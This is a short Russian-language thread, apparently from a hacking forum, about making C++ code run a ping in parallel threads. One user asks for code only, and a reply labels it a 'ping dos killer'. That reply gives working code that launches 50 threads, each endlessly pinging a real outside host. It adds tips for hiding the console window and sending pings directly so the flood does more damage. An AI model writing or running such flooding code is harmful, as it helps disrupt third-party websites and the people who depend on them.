• XSS.stack #1 – первый литературный журнал от юзеров форума

Потоки в C++

c1tr1n

HDD-drive
Пользователь
Регистрация
20.07.2009
Сообщения
33
Реакции
0
Есть код на C++
Код:
#include <windows.h>

void main()
{
	for (;;)
	{
  system("ping -n 10 who.is");
	}
}
Как сделать чтобы пинг был в 50 потоков одновременно.
Просьба писать только код
 
ыы ping dos killer :)

вот попробуй кодец
Код:
#include <windows.h>

DWORD WINAPI PingThread(LPVOID lpParam)
{
for (;;)
{
  system("ping -n 10 who.is");
}
return 1;
}

void main()
{
for (int i =0; i <50; i++)
{
CloseHandle(CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&PingThread,NULL,0,NULL));
}
}

посоветую:
1) создай не консольный проект а Win32
2) использовать функи непосредственно для посылки ping , а не запускать утилиты типа ping.exe, ибо ты быстрее повесишь камп юзеру чем задосишь сайт :) потому процессорные затраты на создание процесса не такие уж и маленькие
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх